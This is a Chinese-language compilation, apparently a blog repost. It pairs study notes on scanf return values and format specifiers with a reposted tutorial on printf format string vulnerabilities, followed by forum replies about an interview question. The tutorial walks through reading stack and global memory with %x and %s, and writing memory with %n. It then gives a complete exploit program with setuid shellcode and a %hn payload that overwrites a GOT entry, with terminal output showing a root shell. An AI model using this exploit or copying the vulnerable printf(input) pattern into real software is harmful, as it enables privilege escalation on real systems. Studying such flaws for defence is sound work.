scanf和printf
大一下学期遇到的问题,现在想起来把他搞明白………………
--------------------------------------------------------------------------------------------------------------------------------
这个是<stdio.h>中定义的scanf:
_CRTIMP int __cdecl __MINGW_NOTHROW scanf (const char*, ...);
这是scanf函数的一般形式(百度百科):
scanf(格式控制,地址表列)
int scanf(char *format[,argument,...]);
“格式控制”的含义同printf函数;“地址表列”是由若干个地址组成的表列,可以是变量的地址,或字符串首地址。
--------------------------------------------------------------------------------------------------------------------------------
这是在CSDN中江涛老师给的解释:
Return Value
Returns the number of fields successfully converted
and assigned; the return value does not include fields that were read
but not assigned. A return value of 0 indicates that no fields were
assigned.
网址:http://student.csdn.net/space.php?uid=130423&do=thread&id=4790
这是网友添加的 返回值说明后半段
If format is a NULL pointer, the invalid parameter handler is invoked, as described in Parameter Validation. If execution is allowed to continue, these functions return EOF and set errno to EINVAL.
因为英语较差……所以又去别的地方查了查
--------------------------------------------------------------------------------------------------------------------------------
这是我找到的最清楚的scanf函数返回值说明
scanf的返回值有后面的参数决定
scanf("%d%d", &a, &b);
如果a和b都被成功读入,那么scanf的返回值就是2
如果只有a被成功读入,返回值为1
如果a和b都未被成功读入,返回值为0
如果遇到错误或遇到end of file,返回值为EOF。
且返回值为int型.
均用:
sign=scanf("%d %d",&a,&b); printf("%d %d\n",a,b); printf("%d\n",sign);
验证了
但是输入“a X”的时候 输出的sign为0
什么时候输出EOF? 在stdio.h中 宏定义为-1
按照说明,scanf函数只有在第一个参数为NULL(空指针)的情况下,才可能返回EOF,否则,返回成功格式化并赋值的参数个数(>=0)。
End Of File,在电脑的术语缩写通常为 EOF,在作业系统决定资料源无更多的资料可读取。
--------------------------------------------------------------------------------------------------------------------------------
这是某人博客上的文章 在此转一下
网址为:http://pooebepan.blog.sohu.com/88169963.html
scanf 函数的返回值反映的是按照指定的格式符正确读入的数据的个数。如果输入数据与指定格式不符,则会产生输入错误。遇到输入错误,scanf函数会立即终止, 返回已经成功读取的数据的个数。所以,通过scanf函数的返回值和指定输入数据的个数(由格式符决定)的比较,可以判断数据输入是否成功。下面的例子程 序中可以用到该函数的返回值:
A + B Problem
输入:
多组测试数据,第一行有两个小于1e9的整数,
对这两个数求和,最后当EOF标志的时候结束。
输出:
对这两个数求和的结果
样例输入:
2 3
1 9
样例输出:
5
10
1 #include <stdio.h> 2 int main(void) 3 { 4 int a,b; 5 while(scanf("%d %d", &a, &b)!=EOF)//没有到文件的末尾遍一直去读,在此为死循环 6 7 { 8 printf("%d\n", a+b); 9 } 10 return 0; 11 }
--------------------------------------------------------------------------------------------------------------------------------
这个是scanf函数返回值得应用
网址为:http://blog.csdn.net/cssin/archive/2005/04/06/338034.aspx
先列出一段代码:
1 /* summing.c -- sums integers entered interactively */ 2 #include <stdio.h> 3 int main(void) 4 { 5 long num; 6 long sum = 0L; /* initialize sum to zero */ 7 int status; 8 printf("Please enter an integer to be summed "); 9 printf("(q to quit): "); 10 status = scanf("%ld", &num); 11 while (status == 1) /* == means "is equal to" */ 12 { 13 sum = sum + num; 14 printf("Please enter next integer (q to quit): "); 15 status = scanf("%ld", &num); 16 } 17 printf("Those integers sum to %ld.\n", sum); 18 return 0; 19 }
此代码算的是输入数之和,可以用scanf函数的返回值判断输入数是否合法,合法则加,不合法则跳出循环,结果为此前数的和。
--------------------------------------------------------------------------------------------------------------------------------
格式字符说明
%a,%A 读入一个浮点值(仅C99有效)
%c 读入一个字符
%d 读入十进制整数
%i 读入十进制,八进制,十六进制整数
%o 读入八进制整数
%x,%X 读入十六进制整数
%c 读入一个字符
%s 读入一个字符串,遇空格、制表符或换行符结束。
%f,%F,%e,%E,%g,%G 用来输入实数,可以用小数形式或指数形式输入。
%p 读入一个指针
%u 读入一个无符号十进制整数
%n 至此已读入值的等价字符数
%[] 扫描字符集合
%% 读%符号
附加格式说明字符表修饰符说明:
L/l 长度修饰符 输入"长"数据
h 长度修饰符 输入"短"数据
W 整型常数 指定输入数据所占宽度
* 表示本输入项在读入后不赋值给相应的变量
--------------------------------------------------------------------------------------------------------------------------------
关于scanf函数的其他问题 改天研究……啊 期末临近了……T_T
以上转自http://hi.baidu.com/%B0%D7%D6%E7%D0%C7%B9%E2/blog/item/e273992ea6169d321f308953.html
*******************************************************************************************************
由printf引起的格式化字符串漏洞
我们来看一个具有格式化字符串缺陷的程序 :
[mhmdanger@localhost formatstring]$ cat check.c
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int main(int argc, char *argv[]) 6 { 7 char name[65]; 8 9 strncpy(name, argv[1], 64); 10 name[64] = 0; 11 printf(name); 12 putchar('/n'); 13 14 return 0; 15 }
[mhmdanger@localhost formatstring]$ gcc check.c -o check
[mhmdanger@localhost formatstring]$ ./check AAAA
AAAA
我们输入%x来验证这个程序存在格式化字符串缺陷
[mhmdanger@localhost formatstring]$ ./check AAAA.%x.%x.%x
AAAA.bfbf5978.33.0
如果不存在格式化字符串缺陷的话,我们输入"AAAA.%x.%x.%x"输出结果应该与输入一样。那么我们怎么来利用这个有缺陷的程序呢?
第一招,一击毙命
我
们要先来个下马威,一下结束它的生命。我们怎么才能让这个程序异常退出呢,当然是让这个程序访问非法内存咯。从前面那个输入我们可以看出第二个%x输出的
结果是33,printf函数把根据%x把该内存中的4字节数据解释成了十六进制数,如果我们让printf把该内存中的4字节数据解释成地址又如何呢,
按照分析,我们只要输入两个%s就可以让他非法访问内存了,试试看(在你的机器上也许不一样,如果两个不行,多输入几个试试)
[mhmdanger@localhost formatstring]$ ./check AAAA.%s%s
段错误
如果一个有这样缺陷的程序放在网络上面提供网络服务,比如 web server,后果可想而知了,不过有点好处就是这个web server的厂商从此会变得闻名遐迩,曾经有句名言嘛:不能流芳百世就要遗臭万年!
第二招,窥探
这一招当然没有第一招那么狠毒,但是道德确更加败坏。我们可以利用这个缺陷查看该进程的内存
[mhmdanger@localhost formatstring]$ ./check AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAA.bfd5195a.15.0.0.0.0.0.41000000.2e414141.252e7825.78252e78.2e78252e.252e7825
利用上面这个方法,我们也许可以查看整个堆栈中的数据,但要视存放格式化字符串的缓冲区大小而定,只能查看堆栈上的数据可能对我们的诱惑少了点,能不能查看其他地方的数据呢?可以!
为了演示如何查看其他地方的数据,我们把上面那个程序稍稍改一下:
[mhmdanger@localhost formatstring]$ cat check.c
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 char pwd[] = "xYz357"; 6 7 int main(int argc, char *argv[]) 8 { 9 char name[65]; 10 11 printf("pwd addr:[%p]/n", pwd); 12 strncpy(name, argv[1], 64); 13 name[64] = 0; 14 printf(name); 15 putchar('/n'); 16 17 return 0; 18 }
然后编译运行
[mhmdanger@localhost formatstring]$ ./check AAAA
pwd addr:[0x80496d8]
AAAA
从运行结果我们知道pwd地址在0x80496d8,我们用下面的格式化字符串来查看该地址中的内容
首先我们来确定从printf的第二个参数到我们的格式化字符串在内存中的位置之间的距离:
[mhmdanger@localhost formatstring]$ ./check AAAAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
pwd addr:[0x80496d8]
AAAAAAA.bff0b960.1b.0.0.0.0.41000000.41414141.252e4141.78252e78
从结果可以看到,第8个%x就到了我们的字符串缓冲区,注意,第七个已经接触到一个A字符,看起来保存我们格式化字符串的地址与printf函数的第二个参数之间的距离并不是sizeof(int)的倍数,我们需要自己对齐,于是我们输入
[mhmdanger@localhost formatstring]$ ./check `perl -e 'print "A/xd8/x96/x04/x08.%x.%x.%x.%x.%x.%x.%x.%s.%x.%x"'`
pwd addr:[0x80496d8]
Aؖ.bfed3962.1d.0.0.0.0.41000000.xYz357.2e78252e.252e7825
看
到红色字没有,我们保存在pwd中的字符串被打印出来了!当然,我们这儿是事先知道了该字符串的地址才得以成功的,如果我们要攻击别人的程序,我们是不可
能知道这个地址的,所以我们好像要通过猜,呵,好像在碰大运,可惜得很,在hack世界还没有发现靠碰大运而成功的,需要你具有坚实的基础知识,基础知识
牢了,分析问题的能力有了,经验也有了,一切都可以水到渠成,这时,运气就不那么重要了。
第三招,跳龙门
这才是真正的漏洞利用。如果这个程序是setuid到root的,我们的机会来了,通过他获得root权限。能不能跳成功就要看真本事了哦,阅读以下内容需要基本的汇编知识和elf文件格式的相关知识。
先来看%n在printf函数中的用法
[mhmdanger@localhost formatstring]$ cat ./printf.c
1 #include <stdio.h> 2 3 int main(int argc, char *argv[]) 4 { 5 int i = 0; 6 7 printf("before i = [%d]/n", i); 8 printf("%s%n/n", argv[1], &i); 9 printf("after i = [%d]/n", i); 10 11 return 0; 12 }
[mhmdanger@localhost formatstring]$ gcc printf.c -o printf
[mhmdanger@localhost formatstring]$ ./printf a
before i = [0]
a
after i = [1]
[mhmdanger@localhost formatstring]$ ./printf aa
before i = [0]
aa
after i = [2]
[mhmdanger@localhost formatstring]$ ./printf aaa
before i = [0]
aaa
after i = [3]
[mhmdanger@localhost formatstring]$
从上面的例子我们可以看出, 对应%n的参数是int型指针,该指针所指的内存单元将被printf函数写入一个整形值,这个值就是在遇到%n之前此次调用printf函数所打印的字符总数,所以上示例子中的输出结果分别为1,2和3。我们把上示例子稍微改一下:
[mhmdanger@localhost formatstring]$ cat printf.c
1 #include <stdio.h> 2 #include <string.h> 3 4 int i = 0; 5 6 int main(int argc, char *argv[]) 7 { 8 char buf[65]; 9 10 strncpy(buf, argv[1], 64); 11 buf[64] = 0; 12 printf("before i = [%d]/n", i); 13 printf(buf); 14 printf("/nafter i = [%d]/n", i); 15 16 return 0; 17 }
编译后运行
[mhmdanger@localhost formatstring]$ ./printf AAAAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
before i = [0]
AAAAAAA.0.1b.0.0.0.0.0.41000000.41414141.252e4141
after i = [0]
从
结果我们可以看出printf的第一个参数与我们的格式化字符串之间的距离为4*8+3=35bytes,也就是说我们提供的字符串的第一个字符出现在
printf函数第八个参数的最高字节处。于是我们可以构造一个字符串作为printf的第一个参数,使其在遇到第九个参数(对应着%n)时向某个地址写
入一个值。下面我们来看如何构造这个字符串让他去修改i的值。要修改i的值,我们必须知道
i的地址并作为参数提供给printf函数,我们用gdb来提取i的地址
[mhmdanger@localhost formatstring]$ gdb -q printf
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x080483d4 <main+0>: lea 0x4(%esp),%ecx
0x080483d8 <main+4>: and $0xfffffff0,%esp
0x080483db <main+7>: pushl 0xfffffffc(%ecx)
0x080483de <main+10>: push %ebp
0x080483df <main+11>: mov %esp,%ebp
0x080483e1 <main+13>: push %ecx
0x080483e2 <main+14>: sub $0x64,%esp
0x080483e5 <main+17>: mov 0x4(%ecx),%eax
0x080483e8 <main+20>: add $0x4,%eax
0x080483eb <main+23>: mov (%eax),%eax
0x080483ed <main+25>: movl $0x40,0x8(%esp)
0x080483f5 <main+33>: mov %eax,0x4(%esp)
0x080483f9 <main+37>: lea 0xffffffbb(%ebp),%eax
0x080483fc <main+40>: mov %eax,(%esp)
0x080483ff <main+43>: call 0x80482c8 <strncpy@plt>
0x08048404 <main+48>: movb $0x0,0xfffffffb(%ebp)
0x08048408 <main+52>: mov 0x80496c0,%eax
0x0804840d <main+57>: mov %eax,0x4(%esp)
0x08048411 <main+61>: movl $0x8048520,(%esp)
0x08048418 <main+68>: call 0x80482e8 <printf@plt>
0x0804841d <main+73>: lea 0xffffffbb(%ebp),%eax
0x08048420 <main+76>: mov %eax,(%esp)
0x08048423 <main+79>: call 0x80482e8 <printf@plt>
0x08048428 <main+84>: mov 0x80496c0,%eax
0x0804842d <main+89>: mov %eax,0x4(%esp)
0x08048431 <main+93>: movl $0x8048531,(%esp)
0x08048438 <main+100>: call 0x80482e8 <printf@plt>
0x0804843d <main+105>: mov $0x0,%eax
0x08048442 <main+110>: add $0x64,%esp
0x08048445 <main+113>: pop %ecx
0x08048446 <main+114>: pop %ebp
0x08048447 <main+115>: lea 0xfffffffc(%ecx),%esp
0x0804844a <main+118>: ret
End of assembler dump.
从红色的几句汇编代码我们可以确定编译链接时分配给i的地址为0x080496c0,于是
[mhmdanger@localhost formatstring]$ ./printf `perl -e 'print "A/xc0/x96/x04/x08.%x.%x.%x.%x.%x.%x.%x.%x.%n.%x"'`
before i = [0]
A��.0.1d.0.0.0.0.0.41000000..2e78252e
after i = [30]
看
结果就知道我们成功的修改了i的值。用这种方法我们可以修改几乎所有可写内存中的值,至于在什么地方写什么东西就看你自己咯,运用上面的方法我们用一个例
子来攻击一个具有格式化字符串漏洞的程序,使其执行我们的恶意代码,也就是从普通权限提升到root权限。当然这里有个前提就是这个具有漏洞的程序必须是
一个setuid到root的程序。
[mhmdanger@localhost formatstring]$ cat vul.c
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 char buf[32]; 6 7 int main(int argc, char *argv[]) 8 { 9 char path[257]; 10 11 strncpy(path, argv[1], 256); 12 path[256] = 0; 13 strncpy(buf, argv[2], 31); 14 buf[31] = 0; 15 printf(path); 16 printf("/n"); 17 18 return 0; 19 }
[mhmdanger@localhost formatstring]$ gcc vul.c -o vul
红色代码部分造就了此程序具有格式化字符串漏洞,要攻击此程序,需要我们用 printf函数的%n来改写某些东西使程序执行流转入执行我们的代码。
这里有几种常见方法改变执行流
1,改写函数返回地址,此方法是栈溢出最常用的方法,但有个难点,就是很难定位返回地址在内存中的地址。
2,改写进程映像的.got section。所有从动态库引入的函数地址都会保存在got表中,此方法最大的优点是got表的地址是由elf文件决定的,程序装载器一般不会去修改它,所以每次由loader装入时,它都具有定值。
3,改写.dtors section。当程序从main函数反回到glibc的runtime后.dtors中的函数会被执行。优点同2
我们在这里使用上述的第二种办法。首先来确定printf函数在.got中内存地址
[mhmdanger@localhost formatstring]$ objdump -R vul vul: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080496c0 R_386_GLOB_DAT __gmon_start__ 080496d0 R_386_JUMP_SLOT __gmon_start__ 080496d4 R_386_JUMP_SLOT strncpy 080496d8 R_386_JUMP_SLOT putchar 080496dc R_386_JUMP_SLOT __libc_start_main 080496e0 R_386_JUMP_SLOT printf
我们发现上面的输出中有个putchar,估计这个是printf("/n")这句被翻译成了putchar了,我们可以用gdb来验证一下:
[mhmdanger@localhost formatstring]$ gdb -q vul (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x08048404 <main+0>: lea 0x4(%esp),%ecx 0x08048408 <main+4>: and $0xfffffff0,%esp 0x0804840b <main+7>: pushl 0xfffffffc(%ecx) 0x0804840e <main+10>: push %ebp 0x0804840f <main+11>: mov %esp,%ebp 0x08048411 <main+13>: push %ebx 0x08048412 <main+14>: push %ecx 0x08048413 <main+15>: sub $0x120,%esp 0x08048419 <main+21>: mov %ecx,%ebx 0x0804841b <main+23>: mov 0x4(%ebx),%eax 0x0804841e <main+26>: add $0x4,%eax 0x08048421 <main+29>: mov (%eax),%eax 0x08048423 <main+31>: movl $0x100,0x8(%esp) 0x0804842b <main+39>: mov %eax,0x4(%esp) 0x0804842f <main+43>: lea 0xfffffef7(%ebp),%eax 0x08048435 <main+49>: mov %eax,(%esp) 0x08048438 <main+52>: call 0x80482ec <strncpy@plt> 0x0804843d <main+57>: movb $0x0,0xfffffff7(%ebp) 0x08048441 <main+61>: mov 0x4(%ebx),%eax 0x08048444 <main+64>: add $0x8,%eax 0x08048447 <main+67>: mov (%eax),%eax 0x08048449 <main+69>: movl $0x1f,0x8(%esp) ---Type <return> to continue, or q <return> to quit--- 0x08048451 <main+77>: mov %eax,0x4(%esp) 0x08048455 <main+81>: movl $0x8049720,(%esp) 0x0804845c <main+88>: call 0x80482ec <strncpy@plt> 0x08048461 <main+93>: movb $0x0,0x804973f 0x08048468 <main+100>: lea 0xfffffef7(%ebp),%eax 0x0804846e <main+106>: mov %eax,(%esp) 0x08048471 <main+109>: call 0x804831c <printf@plt> 0x08048476 <main+114>: movl $0xa,(%esp) 0x0804847d <main+121>: call 0x80482fc <putchar@plt> 0x08048482 <main+126>: mov $0x0,%eax 0x08048487 <main+131>: add $0x120,%esp 0x0804848d <main+137>: pop %ecx 0x0804848e <main+138>: pop %ebx 0x0804848f <main+139>: pop %ebp 0x08048490 <main+140>: lea 0xfffffffc(%ecx),%esp 0x08048493 <main+143>: ret End of assembler dump. (gdb)
可以看出我们的printf("/n")函数确实被换成了putchar函数。于是我们就确定了需要改写的地址是0x080496d8,
只要把这个地址中的值改成我们的恶意代码在内存中的地址就可以让程序在调用printf("/n")时实际上把控制转移到我们的代码去执行。可是我们恶意
代码如何注入目标进程呢?也有多种方法,比如放在环境变量或传递给进程的参数中,或者通过进程需要的输入注入进去。在这里我们通过传递给进程的参数把恶意
代码放进去,由于argv[2]会被复制到buf中,所以通过argv[2]来注入代码,这样它在内存的地址很好确定了,用gdb可以看到buf的地址是0x8049720,这样我们就知道我们需要做的事情就是把0x080496d8这个内存单元(4bytes)中的值改写成0x8049720就ok了。分析了这么多,现在我们来写一个漏洞利用程序exp.c来攻击vul。
[mhmdanger@localhost formatstring]$ cat exp.c
1 #include <unistd.h> 2 #include <string.h> 3 4 char shellcode[] = 5 "/x31/xdb" 6 "/x8d/x43/x17" 7 "/xcd/x80" 8 "/x31/xd2" 9 "/x52" 10 "/x68/x2f/x2f/x73/x68" 11 "/x68/x2f/x62/x69/x6e" 12 "/x89/xe3" 13 "/x52" 14 "/x53" 15 "/x89/xe1" 16 "/x8d/x42/x0b" 17 "/xcd/x80"; 18 19 int main (int argc, char *argv[]) 20 { 21 int i; 22 char *av[4]; 23 char buf[256]; 24 25 memset(buf, 0, sizeof(buf)); 26 strcpy(buf, "A/xd8/x96/x04/x08/AAAA/xd9/x96/x04/x08/AAAA/xda/x96/x04/x08" 27 "%8x%8x%8x%8x%8x%8x%219x%hn%119x%hn%1645x%hn"); 28 29 av[0] = argv[1]; 30 av[1] = buf; 31 av[2] = shellcode; 32 av[3] = NULL; 33 34 execve(av[0], av, NULL); 35 36 return 1; 37 }
编译后运行
[mhmdanger@localhost formatstring]$ ./exp ./vul
AؖAAAAٖAAAAږbf92bfd6
1f 1
83db7f1f2d0b7f1f000
41048238
41414141
4141sh-3.2$
从红色字可以确定我们 拿到了shell,但它并不是root shell,原因在于我们那个vul并未被setuid到root,利用下面的命令来设置
[mhmdanger@localhost formatstring]$ su -l root
口令:
[root@localhost ~]# cd ~mhmdanger
[root@localhost mhmdanger]# cd formatstring/
[root@localhost formatstring]# chown root ./vul
[root@localhost formatstring]# chmod u+s ./vul
[root@localhost formatstring]# ls -l
总计 108
-rwxrwxr-x 1 mhmdanger mhmdanger 5249 10-04 09:15 exp -rw-rw-r-- 1 mhmdanger mhmdanger 610 09-25 19:29 exp.c -rwxrwxr-x 1 mhmdanger mhmdanger 5011 09-25 18:19 printf -rw-rw-r-- 1 mhmdanger mhmdanger 241 09-25 18:19 printf.c -rwxrwxr-x 1 mhmdanger mhmdanger 4897 09-11 20:44 test1 -rw-rw-r-- 1 mhmdanger mhmdanger 178 09-11 20:44 test1.c -rw-rw-r-- 1 mhmdanger mhmdanger 324 09-09 16:01 test.c -rwxrwxr-x 1 mhmdanger mhmdanger 4929 08-26 14:07 var_args -rw-rw-r-- 1 mhmdanger mhmdanger 377 08-26 12:17 var_args.c -rwsrwxr-x 1 root mhmdanger 5093 09-25 19:02 vul -rw-rw-r-- 1 mhmdanger mhmdanger 262 09-25 19:02 vul.c [root@localhost formatstring]# exit logout [mhmdanger@localhost formatstring]$ ./exp ./vul AؖAAAAٖAAAAږbfcb3fd6 1f 1 83db7fbb2d0b7fbb000 41048238 41414141 4141sh-3.2# id uid=0(root) gid=500(mhmdanger) groups=500(mhmdanger) context=user_u:system_r:unconfined_t sh-3.2#
哈,root权限拿到了
对于上面那个exp.c我们说明几点
1,
shellcode中存放的是二进制代码,其作用是设置进程的uid=0然后执行/bin/sh。由于vul在
被普通用户执行其euid=0,所以我们可以成功设置其uid=0,再由于execve执行新程序后其uid和euid都不会改变,所以我们执行出来的
shell也就具有了root权限。
2,exp.c中我们构造的字符串为"A/xd8/x96/x04/x08/AAAA/xd9/x96
/x04/x08/AAAA/xda/x96/x04/x08%8x%8x%8x%8x%8x%8x%219x%hn%119x%hn
%1645x%hn",我们利用了%hn而不是%n有两个原因:其一,在某些系统中printf函数一次如果打印过多字符则会出现异常,所以我们只能利用
多次写入的方法;其二,%hn一次写两个字节,这样可以不破坏内存中的其它值。
以上转自http://blog.csdn.net/habla/article/details/1787490
lingyunfei (凌云飞) 于 (Tue Jun 5 21:38:26 2012) 在
【[讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
char *p="%s";
printf(p);
问这段程序有什么问题。
我回答的,感觉面试官不太满意。
☆─────────────────────────────────────☆
FxxkMyLife (Gin) 于 (Wed Jun 6 09:04:24 2012) 在
【Re: [讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
【 在 lingyunfei 的大作中提到: 】
: char *p="%s";
: printf(p);
: 问这段程序有什么问题。
: ................:
printf传入%s后程序原本会打印出字符串。但是由于可变叁中并没有传入后面的参数,读的地址和里面数据不可预料。
☆─────────────────────────────────────☆
in355hz (沒代碼沒真相) 于 (Wed Jun 6 14:27:41 2012) 在
【Re: [讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
输出 "%s", 相当于 printf(p, p), printf 取第二个参数直接拿到了栈上的 p
因为是 _cdecl, 栈也不会乱掉
如果 p 是外面传的,会有缓冲区溢出的问题
☆─────────────────────────────────────☆
Vfh (dudu) 于 (Wed Jun 6 14:47:55 2012) 在
【Re: [讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
请搜索“格式化字符串缺陷”
☆─────────────────────────────────────☆
lsqcomput (circlewood) 于 (Wed Jun 6 17:21:18 2012) 在
【Re: [讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
经过验证(32bit X86 linux gcc)
它总是输出(sp+4)位置的值,而且不管你是"%s"还是"%d"还是"%c",也即arg2应该在
的位置的值,不过有一点却是不太明白,p并没有在arg1位置上,而是在arg2与return
address中间的某个位置上。
研究了好久,顺带学习了一下X86汇编,GDB调试,还研究了下printf()的实现,顺带还
有可变个数参数函数的实现va_start之类。。。
这一个简单的程序涉及的东西还蛮多的,收获挺大~~
☆─────────────────────────────────────☆
in355hz (沒代碼沒真相) 于 (Wed Jun 6 21:07:17 2012) 在
【Re: [讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
C 调用是从右到左入栈的, 所以 arg2 先入栈, arg1(p) 后入栈, ret 最后